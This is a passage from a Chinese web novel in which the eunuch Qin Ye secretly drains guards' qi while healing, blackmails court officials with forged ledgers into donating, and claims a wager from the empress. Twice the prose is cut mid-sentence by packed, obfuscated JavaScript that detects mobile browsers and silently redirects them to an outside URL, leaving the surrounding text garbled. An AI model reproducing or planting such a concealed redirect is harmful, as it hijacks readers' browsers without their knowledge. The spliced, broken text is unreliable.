秦烨抬眼看了看躺在床榻上的老者。老人面色苍白如纸，呼吸微弱得几乎察觉不到，整个人仿佛随时都会消散在这夜色中。 “情况不太乐观。”他缓缓摇头，“经脉受损严重，五脏六腑也都受到了波及。” 这一句话，让在场的影卫们神色骤变。有人握紧了拳头，有人咬紧了牙关，更有人的眼中闪过一丝绝望。 “陛下，不如还是派人去请神医周明德？”一名身材魁梧的影卫立刻拱手建议，声音中带着几分急切，“周神医医术通神，定能救活大人！” 秦烨冷笑一声，目光扫过说话之人：“周明德确实医术高明，但从派人寻找到请来这里，至少需要七八日。到那时，人早就凉了。” 殿内的气氛顿时凝重了几分。 他转向上官瑾，语气沉重：“陛下，现在只能死马当活马医了。” 上官瑾闻言，有些犹豫。她很清楚这句话的分量。作为一国之君，每一个决定都可能影响一个人的生死。 “你这太监，怕是医术不精吧？”一名身着影卫服饰的中年男子冷声道，眼中满是不屑，“御医署那么多名医，随便请一个来都比你强。” “对，还是让御医署的大夫来看看。”其他影卫纷纷附和，殿内顿时响起一片嗡嗡声。 秦烨眼中闪过一丝不屑，但他没有反驳。在这种时候，争辩只会浪费宝贵的救人时间。 上官瑾看着秦烨，轻声问：“秦烨，朕能信得过你吗？”她的声音很轻，却透着一股不容置疑的威严。 “陛下若信我，我便全力一试。”秦烨直视女帝的眼睛，目光坚定，“不过我必须说实话，把握并不大。” 几个影卫听到这话，更加不满。有人冷哼一声，有人摇头叹息。 “你这是推卸责任！”一个年轻的影卫忍不住喊道。 秦烨冷冷扫了他们一眼：“不信我，那这人必死无疑。”他的语气平静，却带着不容置疑的自信。 上官瑾深吸一口气，她回想起之前亲眼见过秦烨的医术：“那就开始吧，治不好朕也不怪你。” 秦烨点头，快步走到老者身边。他示意正在为老者输送真气的影卫停下。 “不行！”那影卫急道，额头上已经渗出汗珠，“一旦停下真气，他随时可能断气！” “你们这样反而害了他。”秦烨淡淡道，“停下吧。”他的声音不大，却带着一种莫名的说服力。 在秦烨的坚持下，那影卫只得收手，但仍保持戒备状态，随时准备出手。 果然，老者虽然气息微弱，却并未立即断气。反而比之前稳定了一些。 “你们这些人，真是差点酿成大错。”秦烨摇头，语气中带着几分无奈。 韩九怒道：“我们用真气续命有什么不对？这可是救命之法！” “真气续命是医家大忌。”秦烨一边诊脉一边解释，手指在老者的脉门上轻轻跳动，“你们这样不间断地输送真气，表面上是在救人，实际上是在摧毁他的经脉和脏腑。” 众人闻言，脸色微变。有人下意识地后退了一步，仿佛被这个事实吓到了。 秦烨继续道：“即便要用真气续命，也该是点到为止，而不是像你们这样狂轰滥炸。现在他的经脉都被你们堵塞了，救治难度更大了。” 上官瑾听得心惊：“那还有救吗？”她的声音中带着一丝颤抖。 “试试看吧。”秦烨转身对众影卫道，“你们站成一排，掌心贴在前人后心，向我输送真气。” 众人虽然疑惑，但还是照做了。十几个影卫排成一列，掌心相对，形成了一个真气传递的通道。 第一百一十四章 运转真气 当磅礴的真气涌入体内时，秦烨面不改色，这让在场的影卫们暗暗吃惊。要知道，这可是十几个武功高强之人的真气，寻常人根本承受不住。 只见秦烨手指轻动，十余根银针破空而出，精准地落在老者身上的各处穴位。银针在烛光下闪烁着寒芒，如同星辰点点。 真气在银针的引导下，缓缓渗入老者体内。每一根银针都仿佛成了一个微型的导管，将真气引向特定的经脉。 这一手，看得众人目瞪口呢。就连一直对秦烨不屑的影卫们，此时也不得不承认这手法的精妙。 秦烨的眼中闪过一丝疲惫，但他知道，真正的考验才刚刚开始。汗水从他的额头滑落，但他顾不上擦拭。 他能感觉到，老者体内的经脉如同千疮百孔的竹筒，稍有不慎就会功亏一篑。而他现在要做的，就是用这些银针在这些破损的经脉中，开辟出一条生路。 时间一分一秒地流逝，殿内安静得可怕，只能听见微弱的呼吸声。所有人都屏住呼吸，生怕打扰到正在施救的秦烨。 突然，老者的身体轻轻抽搐了一下。 “不好！”一个影卫惊呼。 秦烨却仿佛早有预料，手指快速在几根银针上轻点，调整了真气的流向。老者的抽搐立即平息下来。 “这……”上官瑾惊讶地看着这一幕。 秦烨专注地盯着老者的面色，手上的动作丝毫不停。他能感觉到，老者的经脉正在一点点恢复。 殿内烛火摇曳，秦烨额头渗出细密的汗珠，双手缓缓运转真气，为眼前昏迷的老者疗伤。殿外雨声淅沥，更添几分凝重的气氛。 “秦公公，老大人的情况如何？”上官瑾站在床榻旁，指尖不自觉地绞着衣袖。 秦烨没有立即回答，专注于修复老者体内残破的经脉。身后的影卫高手们正在为他输送真气，一个个屏气凝神，不敢有丝毫懈怠。殿内只听得见雨声和众人的呼吸声。 实际上，秦烨用于救治的真气仅占十分之一，剩余的真气都被他暗中吸收，用来提升自己的功力。这些影卫高手的真气精纯无比，对他来说简直是天赐良机。 “嘶……”秦烨突然闷哼一声，身形微晃。 一名影卫连忙上前搀扶：“秦公公，您没事吧？” 秦烨摆了摆手，额角的汗珠顺着脸颊滑落：“无妨，继续。” 周围的影卫见状，更加卖力地输送真气。秦烨暗自得意，这些人越是担心，反而越方便他暗中吸收真气。突如其来的强大真气让他一时难以完全消化，体内气息翻涌不已。 “秦公公，要不要先休息片刻？”沈化林关切地问道。 秦烨摇头，手上的动作不停：“老大人伤势危急，耽误不得。” 殿内的气氛越发凝重，上官瑾来回踱步，时不时望向床榻上的老者。烛火在微风中轻轻摇曳，在墙上投下摇晃的影子。 约莫一炷香的时间过去，秦烨终于缓缓收功，轻轻一挥手，老者身上的银针尽数飞起，叮叮当当落在地上。 “大功告成。”秦烨长出一口气，脚下一个踉跄。 两名影卫连忙上前搀扶。秦烨的脸色苍白，额头布满细汗，看起来确实像是耗费了大量真气的样子。 上官瑾快步走到床前：“老大人的伤势如何？” “陛下放心，命是保住了。”秦烨用袖子擦了擦额头的汗水，“不过还需要服用一些药物来调养。” 韩九上前检查了老者的情况，激动地说道：“气息平稳，脉象有力，真是神医啊！” 秦烨取过桌上的纸笔，写下一张药方递给旁边的影卫：“按此方抓药，记住一定要选最好的药材，亲自检查无误后再入药。” “是！”那名影卫接过药方快步离去，脚步声在空旷的走廊上回荡。 “诸位，再助我一臂之力。”秦烨对着周围的影卫说道，声音略显虚弱。 众人还以为他是消耗过度需要补充真气，立刻再次发功相助。秦烨暗自欣喜，继续借机吸收这些精纯的真气。殿内的气氛渐渐轻松下来，只有烛火依旧无声地跳动。 “够了。”片刻之后，秦烨抬手示意众人停下。 上官瑾见他脸色仍有些苍白，吩咐道：“沈化林，带秦公公去偏殿休息。” “多谢陛下。”秦烨拱手一礼，在沈化林的搀扶下离开了大殿。 走廊上，韩九拉住沈化林低声问道：“老沈，这位秦公公到底是何方神圣？医术如此了得，功力也不一般啊。” 沈化林笑道：“我现在就跟在秦公公身边当差，说来也是运气。秦公公为人随和，不摆架子，跟着他做事轻松得很。” “你小子运气不错。”韩九拍了拍沈化林的肩膀，“晚上找个机会，咱们喝两杯，你可得给我好好说说这位秦公公的事。” “没问题。”沈化林笑着应下。 偏殿内，秦烨盘膝而坐，暗自运功消化刚才吸收的真气。烛光映照在他的脸上，显得格外深邃。这些影卫都是一等一的高手，他们的真气精纯无比，对自己的修为提升大有裨益。 他能感觉到体内的真气更加充盈浑厚，经脉也在不断拓宽。这次不仅救了人，还让自己的功力大有长进，可谓是一举两得。 “咚咚咚。”门外传来敲门声。 “进来。”秦烨收敛心神。 沈化林端着一碗汤药走了进来：“秦公公，这是厨房特意熬制的补气养神的汤药，您趁热喝了吧。” “有心了。”秦烨接过汤药，心中暗笑。 这些人是真的把他当成虚弱过度的病人在照顾，倒是让他白占了不少便宜。不过这样也好，越是让人以为他虚弱，他就越能暗中壮大自己的实力。 夜色渐深，秦烨站在窗前，望着远处朦胧的灯火，嘴角微微上扬。他知道，今晚的事情必定会在影卫中传开，而这正合他意。 次日清晨，阳光透过窗棂洒入殿内。秦烨刚打坐完毕，就听见外面传来脚步声。 “秦公公，老者醒了。”沈化林推门进来，脸上带着喜色。 秦烨点点头：“我这就去看看。” 第一百一十五章 伤势好转 大殿内，老者已经能够坐起，虽然脸色仍有些苍白，但精神明显好了许多。见秦烨进来，老者想要起身行礼，却被秦烨制止。 “大人不必多礼，好好养伤要紧。”秦烨上前为老者把脉。 上官瑾站在一旁问道：“秦公公，他的伤势可有好转？” 秦烨收回手，笑道：“陛下放心，这位大人的伤势已经稳定，只要按时服药，再休养一段时日就能痊愈。” “多谢秦公公。”老者感激地说道。 秦烨摆摆手：“这是微臣应该做的。” 就在这时，外面传来急促的脚步声。一名影卫快步走入殿内，在上官瑾耳边低语几句。上官瑾的脸色顿时变得凝重。 “秦公公，还要劳烦你多照看几日。”上官瑾说完，快步离开了大殿。 秦烨望着上官瑾离去的背影，若有所思。他知道，朝堂之上必定又有大事发生。不过这些都与他无关，他现在最重要的是继续扮演好这个尽职尽责的太医。 “大人，我给您开几副药，记得按时服用。”秦烨说着，取出纸笔。 殿外阳光明媚，院中花木扶疏。秦烨一边写着药方，一边在心中盘算着下一步的计划。他知道，自己在影卫中的地位已经稳固，接下来就是要寻找更多的机会来提升实力。 而这一切，都要在不引人注意的情况下完成。就像现在这样，以救人为名，暗中吸收他人真气。这种方法虽然隐蔽，但效果却是最好的。 “秦公公，药方写好了吗？”沈化林在一旁问道。 秦烨点点头，将药方递给他：“去把这些药材准备好，记住要选最好的。” “是。”沈化林接过药方离去。 承明殿内，一道倩影伫立窗前。烛光映照下，那抹身影显得格外孤寂。 上官瑾望着窗外的夜色，眉宇间浮现出一抹忧虑。新任工部尚书钱有德正跪在殿中，汗水已经浸透了官服。 “陛下，臣仔细查阅了账目，发现情况比想象中还要糟糕。”钱有德的声音中带着几分沉重，他小心翼翼地抬头看了一眼皇帝的背影。 殿内一片寂静，只有烛火偶尔发出轻微的噼啪声。 “具体如何？”上官瑾的声音很轻，却让钱有德感到一阵压抑。 “国库几乎已经见底，连大仓中的存粮都所剩无几。若再这样下去，恐怕连军饷都难以发放。”钱有德擦了擦额头的冷汗，“最近边关告急，将军们一再催促军饷，可臣实在是无能为力。” 上官瑾转过身，目光如刀般锐利：“这些年的亏空，可查明白了？” “回陛下，臣正在彻查。”钱有德的声音有些发抖，“但从目前的情况看，这些亏空绝非一朝一夕之事。前任工部尚书在任时，账目记录混乱，许多支出都无法追查。” “继续查，一个铜板都不能放过。”上官瑾的声音冰冷，“朕要知道，到底是谁在中饱私囊。” “是，臣遵旨。只是……”钱有德欲言又止，额头的汗珠不断滑落。 “有话直说。” “就算查明白了亏空，也无法解决眼前的困境。”钱有德咬了咬牙，“北边胡人虎视眈眈，南边蛮族蠢蠢欲动，军费开支一日比一日大。而且……” “而且什么？” “而且朝中几位重臣已经在暗中串联，似乎对陛下的新政……”钱有德的声音越来越小。 上官瑾眼中透出寒意：“你是说，他们想趁机作乱？” “臣不敢妄加揣测。”钱有德连忙叩首，“只是听到一些风声。” “你可有什么建议？”上官瑾走到案前，随手翻开一本奏折。 “臣愚钝，一时想不出良策。”钱有德低头道，“但臣以为，或许可以考虑加征商税，或是向富商借贷……” “这些都是饮鸩止渴的办法，先退下吧，好好想想开源节流之策。”上官瑾挥了挥手。 “臣告退。”钱有德如蒙大赦，连忙退出承明殿。 殿内再次陷入寂静。上官瑾长叹一声，走到龙座前坐下。烛光下，她的眉头紧锁，眼中闪过一丝疲惫。 “唉，父皇留下的烂摊子，真是让人头疼。”她轻声自语。 就在这时，一道熟悉的声音传来。 “陛下这是遇到什么难事了？” 秦烨不知何时出现在殿内，正笑吟吟地看着她。他穿着一身青色长袍，整个人显得清雅脱俗。 “你不是在偏殿练功吗？”上官瑾问道，语气中带着几分责备，“又偷偷溜进来。” “刚练完，感觉境界又有所提升。”秦烨走到她身后，轻轻为她按摩着太阳穴，“看陛下愁眉不展的样子，想必是遇到什么棘手的事了。” 上官瑾微微闭上眼睛，享受着他的按摩：“国库空虚，这可不是小事。朝中重臣们又蠢蠢欲动，真是让人头疼。” “所以陛下准备加税？”秦烨的手法很巧妙，恰到好处地缓解着她的疲劳。 “这是不得已而为之。”上官瑾叹了口气，“不过现在加税只怕会激起民变。” “那些大臣们呢？他们就眼睁睁看着国库空虚？” “他们？”上官瑾冷笑一声，“他们巴不得朕束手无策。这些年来，他们中饱私囊，家资万贯。现在却一个个推说手头紧，连捐献都不愿意。” 秦烨的手停了下来：“那不如……” “不如什么？” “不如我们来个釜底抽薪如何？”秦烨嘴角勾起一抹笑意。 上官瑾转头看着他：“你有什么办法？” “不如我们打个赌如何？”秦烨的眼中透着狡黠。 “赌什么？” “如果我能让群臣们主动捐款，陛下以后就要答应我一个要求。” 上官瑾挑了挑眉：“什么要求？” 秦烨在她耳边低语了几句。 上官瑾俏脸一红：“你……” “但如果我做不到，”秦烨继续道，“以后我就任凭陛下差遣，绝无二话。” 上官瑾眯起眼睛：“你当真有把握？” “十成把握。”秦烨信心满满。 “好，朕就和你赌这一次。”上官瑾站起身，整理了一下衣袍，“不过你最好想清楚了，若是输了……” “那我甘愿做陛下的玩物。”秦烨笑道。 “你！”上官瑾气得跺脚，“真是越来越放肆了。” “陛下不妨等着看。”秦烨的眼中满含自信，“我保证，这次一定让陛下满意。” 上官瑾冷哼一声，转身向外走去：“希望你不是在说大话。” “遵命，陛下。” 看着她离去的背影，秦烨轻笑一声。他已经想好了计策，那些大臣们，很快就会乖乖地把钱送上门。 第一百一十六章 双方打赌 第二天一早，金銮殿内群臣云集。 上官瑾高坐龙座之上，目光扫过下方的大臣们。她注意到，几位重臣正在窃窃私语，时不时抬头看她一眼。 秦烨站在殿角，神色淡然。他知道，接下来的戏才刚刚开始。 “诸位爱卿，”上官瑾开口道，“工部尚书钱有德可有话说？” 钱有德出列跪下：“回陛下，臣已经查明，前任工部尚书在任时，确实有大量账目无法对证。而且……” “而且什么？” “而且臣发现，有人暗中挪用军饷，据为己有。”钱有德的声音有些发抖。 殿内顿时一片哗然。 “你可有证据？”武部尚书周景仁厉声喝道。 “证据就在这里。”秦烨突然开口，从袖中取出一叠账册，“这是我偶然发现的一些记录，不知道周大人可否解释一下？” 周景仁脸色大变：“你……” “怎么？周大人心虚了？”秦烨笑道，“这些账册上可都有你的印鉴。” “放肆！”周景仁怒吼，“一个小小的阉臣，也敢污蔑朝廷重臣？” “是不是污蔑，大人心里清楚。”秦烨不紧不慢地说道，“不过，我倒是有个提议。” “什么提议？” “不如我们各自捐献一些钱财，为国分忧如何？”秦烨环视四周，“想必诸位大人家资丰厚，拿出一些来不成问题吧？” 殿内一片寂静。 “秦爱卿说得对。”上官瑾开口道，“朕也正有此意。不知诸位爱卿意下如何？” 周景仁等人面面相觑，一时不知如何是好。 “怎么？诸位大人难道是不愿意？”秦烨笑道，“那不如我把这些账册公之于众，让天下人都看看……” “臣愿意捐献！”周景仁突然跪下，“臣愿意捐献家财十万两！” “臣也愿意！” “臣也是！” 一时间，群臣纷纷表态。 上官瑾看着这一幕，嘴角微微上扬。她明白了秦烨的计策——以退为进，以威逼利诱的方式，让这些贪官们乖乖就范。 “好！”上官瑾站起身，“既然诸位爱卿如此忠心，朕也不会亏待诸位。赵爱卿，你即刻安排人手，接收捐献。” “臣遵旨！” 散朝后，上官瑾回到承明殿，秦烨跟在她身后。 “没想到你用这种方法。”上官瑾笑道，“倒是让朕开了眼界。” “陛下过奖了。”秦烨拱手道，“不过是一些小伎俩罢了。” “那些账册……” “都是假的。”秦烨笑道，“不过他们心虚，自然不敢细查。” 上官瑾摇头叹息：“你啊，真是个无赖。” “那陛下可满意？” “满意。”上官瑾点点头，“不过……” “不过什么？” “不过这还远远不够填补国库空虚，所以你那个赌约……”上官瑾俏脸微红。 “陛下放心，”秦烨笑道，“臣定不会让陛下为难，且看臣为陛下再献一计，届时，陛下再应赌约也不迟。” 上官瑾白了他一眼：“油嘴滑舌。” 第二日，秦烨站在宫殿内，望着手中刚写好的信笺，嘴角勾起一抹笑意。 这封信，是他与上官瑾打赌后的第一步棋。想起昨日与上官瑾的对话，秦烨不禁陷入回忆。 “好，朕就和你赌这一次。不过你最好想清楚了，若是输了……” “那我甘愿做陛下的玩物。”秦烨笑道。 “你！”上官瑾气得跺脚，“真是越来越放肆了。” “陛下不妨等着看。”秦烨的眼中满含自信，“我保证，这次一定让陛下满意。” 上官瑾冷哼一声，转身向外走去：“希望你不是在说大话。” 回忆戛然而止，秦烨轻轻摇了摇头。窗外的鸟儿啾啾鸣叫，为这个清晨增添了几分生机。 “沈化林。”他唤道。 “公公。”沈化林从殿外快步走入，躬身行礼。 “让人把这封信送到韩明远府上。”秦烨将信笺递过去，目光中闪过一丝深意。 沈化林接过信笺，眼中有些疑惑，但很快就恢复了平静：“是，属下这就去办。” 待沈化林离去，秦烨负手而立，目光投向窗外。朝阳初升，金光洒落，映照着整座皇城。远处钟楼传来悠扬的钟声，宫女太监们已经开始了一天的忙碌。 韩明远府邸。 “大人，宫里来信。”管家双手捧着信笺，恭敬地递到韩明远面前。 韩明远正在品茶，闻言放下茶盏，接过信件。茶香袅袅升起，与晨光交织，为这个清晨平添了几分雅致。 拆开信封，韩明远仔细阅读起来。越看，眉头皱得越深，手指不自觉地在桌面上轻轻叩击。 “宴请百官？为了募捐？”他喃喃自语，眼中闪过一丝迟疑。 作为朝中重臣，韩明远太清楚大周如今的困境。国库空虚已成定局，皇帝想要让百官捐款补贴国用，却无人响应。朝堂上下，人人自危，生怕成为出头鸟。 这种情况下，谁敢带头捐款？那不是自找麻烦吗？ 何况昨日在朝堂上众臣早已慷慨解囊，难道还要这些人再捐一次？ 但信中秦烨提到，只要他举办这场宴会，就会帮韩玉仪获得侍寝机会…… 韩明远眼中精光一闪，手中的茶盏微微倾斜，几滴茶水洒在案几上，晕开一片深色的水渍。 “来人！” “大人。”管家立刻应声。 “传我命令，明日在府上后院设宴，邀请朝中百官赴宴。”韩明远沉声道，“务必安排妥当。” “是！” 消息很快传遍汴城，无数官员收到了韩府的请帖。一时间，街头巷尾都在议论这场突如其来的宴会。 次日清晨。 秦烨正在殿内打坐，感受着体内愈发强大的力量。阳光透过窗棂洒落，在他身上镀上一层金边。 “修行之路，确实寂寞。”他睁开眼，看向一旁的沈化林，眼中闪过一丝疲惫，“不过今天有件更重要的事要办。” “公公说的是韩府的宴会？”沈化林恭敬地问道。 “不错。”秦烨站起身，活动了下有些僵硬的筋骨，“对了，那件事查得如何？” 沈化林立刻明白他问的是什么，压低声音道：“回公公，那些文字，文渊阁的大儒说是蛮人文字。” “蛮人文字？”秦烨眼中闪过一丝精光，脚步不自觉地停顿了一下。 “是的，不过文渊阁的人只认得这是苗文，却无人能读懂其中含义。”沈化林补充道，“他们说这种文字已经失传多年。” 秦烨在殿内来回踱步，眉头微皱：“巫域与蛮人接壤，那边应该有人认得。派人去查。” “是，属下这就安排。” “时候不早了。”秦烨看了看天色，阳光已经变得明亮起来，“该去赴宴了。沈化林，你也换身衣服，跟我一起去。” 很快，秦烨换上一身黑色锦袍，与易容后的沈化林一同出了宫。 第一百一十七章 易容出宫 走在汴城街道上，秦烨心中盘算着接下来的计划。街道两旁店铺已经开始营业，小贩的吆喝声此起彼伏，行人来来往往，一派繁华景象。 这场宴会，可不仅仅是为了赢得与上官瑾的赌约，更是为了解决大周的财政困境。那些贪官污吏们手中攒下的银子，也该吐出来了。 “沈化林，”秦烨突然开口，“你说这些官员，会不会猜到今天的宴会是为何？” 沈化林摇头：“应该不会。韩明远在朝中向来谨慎，突然设宴，恐怕让不少人都摸不着头脑。” “那就好。”秦烨眼中闪过一丝寒芒，“出其不意，才能一击必中。” 朝廷没钱，就如同人没了血液。 秦烨站在街道上，看着来往的行人，心中思绪翻涌。他太清楚历朝历代的覆灭之因了，其中财政崩溃往往是致命一击。眼下大周朝廷的困境，正是财政空虚。 街边的茶肆里传来一阵喧哗，几个商贾模样的人正高谈阔论：“听说朝廷连发俸禄的银子都没了。” “可不是嘛，我那表弟在武部当差，已经三个月没领到俸禄了。” “这可如何是好？” 秦烨听着这些议论，眼底闪过一丝冷意。这些话传到百姓耳中，只怕民心更难安定。不过，这事儿倒也不难解决。 他的目光落在远处一辆华贵的马车上，车帘微微掀起，露出车内锦衣华服的大臣。那些朝中重臣，表面上个个清高，实则都是些贪生怕死之辈。只要掌握了他们的命门，让他们乖乖捐款并非难事。 街上渐渐热闹起来，越来越多的马车驶过。看样子，那些大臣们已经陆续赶往韩府赴宴了。 秦烨整了整衣袍，不紧不慢地向韩府走去。今夜这场派对，表面上是韩明远设的，实则是他在背后操盘。为的就是一个目的——让这些大臣们心甘情愿地掏腰包。 韩府门前，车水马龙。门口的石狮子擦得锃亮，朱漆大门敞开，不时有身着官服的大臣从车上下来，在仆役的引领下进入府中。 “吴大人，您来了。” “孔大人，快请进。” 韩府的管家正在门口迎客，脸上堆满笑容。 府内正堂上，韩明远来回踱步。他身材微胖，此时额头已见汗珠，不时用袖子擦拭。虽然脸上强撑着笑容，心里却焦急如焚——这场宴会的主角秦烨怎么还不来？ “大人，您别着急。”管家低声劝道，“秦公公向来准时，应该快到了。” 韩明远摆摆手：“你去看看还有哪些大人没到。” “回大人，武部的周大人、工部的张大人都已经到了。就是……” “司马大人到！”门外突然传来通报声。 韩明远连忙迎了出去。只见司马辉正在门口下马，他身着绛紫色官服，面容清瘦，举止从容。 “司马兄，您怎么也来了？”韩明远快步上前。 “哈哈，老韩你都发了请帖，我岂能不给这个面子？”司马辉笑着拱手，目光扫视着堂内众人，“今日这场面，倒是难得一见啊。” 堂内已坐了不少官员，三三两两低声交谈。见司马辉进来，纷纷起身见礼。 “说起来……”司马辉压低声音，拉着韩明远到一旁，“老韩，你今日设宴，所为何事？朝中这么多大员，可不是随便就能请动的。” 韩明远叹了口气：“实不相瞒，是秦公公托我办的。” “秦烨？”司马辉眉头一皱，眼中闪过一丝诧异，“他又要做什么？” “说是要募捐。” “募捐？”司马辉失笑，随即摇头，“这孩子倒是有魄力，不过……”他的目光扫过堂内众人，“想让这些人再掏腰包，谈何容易？他们每个都精明得很呐。” “或许秦公公自有妙计。”韩明远道，眼中暗含期待。 “但愿如此吧。”司马辉若有所思。 二人说话间，已有更多官员入席。韩明远将司马辉请到上座，自己则坐在一旁。主位上还空着一个座位，显然是给秦烨留的。 堂内觥筹交错，香气四溢。下人们不停地端上精致的菜肴，但众人却食之无味。他们都在等，等这场宴会真正的主角。 就在这时，外面传来一阵骚动。 “秦公公到！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581564|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 众人的目光齐刷刷地望向门口。脚步声由远及近，只见一个身着**袍的年轻人缓步走了进来，正是秦烨。他面容清秀，举止从容，丝毫看不出太监特有的阴柔。 “秦大人！” “贤侄！” 韩明远和司马辉同时起身相迎。 在场众人看着这一幕，眼中闪过各种复杂的神色。有嫉妒，有不屑，也有忌惮。低声的议论声此起彼伏。 “不过是个阉人，也配坐在上席？” “嘘，小声点，这位可是陛下跟前的红人。” “哼，再得宠也改变不了他的身份。” 秦烨对这些窃窃私语置若罔闻，他的目光在每个人脸上扫过，嘴角挂着若有若无的笑意。这些人心里在想什么，他再清楚不过。不过没关系，等会儿他们就知道，一个太监也能让他们俯首帖耳。 “秦公公请上座。”韩明远做了个请的手势。 秦烨在主位上坐下，环视四周。大殿内已经座无虚席，文武百官济济一堂。 韩明远见主客已到，挥手示意。一队队丫鬟端着精致菜肴鱼贯而入，歌舞丝竹之声随即响起。莺歌燕舞，觥筹交错，一派歌舞升平的景象。 “韩大人，”秦烨放下筷子，轻声开口，“借你这个地方，我想说几句话。” 韩明远有些迟疑。他很清楚秦烨今晚的来意，但对能否说服这些官员捐款并不抱太大希望。不过为了自己在宫中的女儿，他还是要尽力配合。 “秦大人请讲。”韩明远站起身，清了清嗓子，“诸位同僚，今日老夫设宴，实则是受了秦大人所托。秦大人有要事相商，还请诸位静听。” 宴会厅内的喧闹声渐渐平息，所有人的目光都聚焦在秦烨身上。有人放下酒杯，有人放下筷子，还有人悄悄擦了擦额头的汗珠。 秦烨站起身，面带微笑：“诸位想必也知道，眼下朝廷财政告急，开源节流说来容易，做起来却是难上加难。” 他的目光在众人脸上一一扫过：“今日请诸位来，是想请大家为朝廷捐款。所得款项将全部上交国库，以解朝廷燃眉之急。” 第一百一十九章 兑现赌约 酒席散后，秦烨独自走在回府的路上。想到上官瑾那张高傲的脸，秦烨心中就忍不住期待起来。这一次，他倒要看看，她还能耍什么花招。 夜色渐深，凤阁内灯火通明。 案几上堆满了奏章，上官瑾一份份翻阅着，眉头越皱越紧。边境军饷的问题已经到了不得不解决的地步，再拖下去，军心必乱。可国库空虚，这又是不争的事实。 “陛下，要不要先用些茶点？”一旁的宫女小声提醒。 上官瑾摆了摆手，继续专注于案前的奏章。她的指尖微微发颤，这些日子操劳过度，身子明显有些吃不消。 “边关告急，粮草军饷短缺……”她喃喃自语，目光在密密麻麻的字迹间游移。 突然，一阵微风从窗外吹来，烛火摇曳，在案几上投下晃动的影子。上官瑾抬头望向窗外，月色朦胧，让她想起了秦烨说过会想办法解决军饷问题的承诺。 想到那个赌约，她不由得咬住下唇。若是他真能说服朝臣捐款……上官瑾摇摇头，试图甩开这个念头。 “这个该死的奴才……”她轻声嘟囔。 正当她沉浸在思绪中时，外面传来急促的脚步声。 “陛下！陛下！”内侍总管周忠快步走进来，“工部代理尚书钱有德递上紧急奏章。” 上官瑾微微蹙眉：“拿来。” 展开奏章的瞬间，她的瞳孔猛地收缩。司马辉捐款三十万……韩明远十五万……钱有德十万……一个个数字映入眼帘，总额竟达两百余万！ “这……”她的手微微颤抖，“秦烨他真的……” “回陛下，秦大人这几日马不停蹄地拜访各位大臣，说是为了边关军饷……”周忠在一旁小心翼翼地解释。 上官瑾放下奏章，起身走到窗前。夜风拂过她的面庞，带来一丝凉意。有了这笔钱，边境军饷的燃眉之急总算能解决了。可转念想到那个赌约，她又不由得忐忑起来。 “周忠，秦烨现在何处？”她背对着殿内问道。 “回陛下，秦大人说要去承明殿准备些事情……” 果然。上官瑾暗暗咬牙，【这个狡猾的奴才。】 批完最后一份奏章已是深夜，上官瑾站在凤阁门口，迟迟不愿迈步。她知道，秦烨此刻定然已经在承明殿等着她。 “陛下，要传膳吗？”周忠问道。 “不必了。”上官瑾深吸一口气，“去承明殿。” 一路上，宫女太监们举着宫灯，照亮前行的道路。月光洒在青石板上，映出一道道婆娑的影子。 推开承明殿的殿门，果不其然，秦烨正襟危坐在床榻上。烛光映照下，他的脸上带着若有若无的笑意。 “陛下回来了。”他站起身，不紧不慢地行礼。 上官瑾强作镇定：“朕今日身子不适，改日再说。” “不行！”秦烨语气坚决，目光如炬地看着眼前的女子，“陛下，万不可食言而肥。” 上官瑾那张精致的脸蛋瞬间涨得通红，纤纤玉指指向秦烨，“你、你这个奴才，竟敢对朕如此无礼！”她的声音因愤怒而微微发颤。 殿内烛火摇曳，映照着两人的身影在墙上不断晃动。秦烨看着眼前这位年轻的女帝，嘴角扬起一抹若有若无的笑意，“陛下此言差矣。赌约之事，清清楚楚，陛下难道想要反悔不成？” “哼！”上官瑾冷哼一声，转身走到龙座前坐下，“朕乃九五之尊，想反悔又如何？” 看着眼前这位耍赖的女帝，秦烨心中暗叹。这位年轻的女帝，有时候倒真像个不谙世事的小姑娘。他缓步上前，“陛下，为君者当以诚信立国。若是连您都言而无信，这天下臣子，又如何能对您心悦诚服？” 这番话似乎戳中了上官瑾的软肋，她正要开口，一阵凉风从窗外吹来，她忍不住打了个喷嚏。 “陛下！”秦烨连忙上前，“这风寒可不是小事。” 上官瑾别过头去，“不过是小小风寒，不碍事的。” “陛下，您昨晚非要去看韩玉仪侍寝，这下可好，着了风寒。”秦烨语气中带着几分责备。 “你、你……”上官瑾气得说不出话来，“朕是皇帝，想去哪里就去哪里，还轮不到你来管！” 秦烨无奈摇头，转身走向殿外，“奴才这就去让太医准备药汤。” “站住！”上官瑾突然喊道，“朕不需要喝药！” 秦烨充耳不闻，径直离开了大殿。不多时，他端着一碗热气腾腾的药汤回来。 “陛下，趁热喝了吧。” 上官瑾皱着眉头，看都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591340|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看那碗药，“朕不喝！这么苦的东西，你自己喝去！” “陛下，这可是太医精心熬制的，对风寒最是有效。”秦烨耐心劝说。 “不喝就是不喝！”上官瑾转过头去，一副油盐不进的模样。 秦烨看着这位倔强的女帝，试探着问道：“要不加点蜂蜜？” “当真可以？”上官瑾眼睛一亮。 “不行！”这回换秦烨板起脸来，“加了蜂蜜会影响药效。” “你这奴才好生可恶！”上官瑾气得直跺脚，“还不快滚出去！” 秦烨识趣地放下药碗，“那陛下记得趁热喝药。”说完，他便快步退出了承明殿。 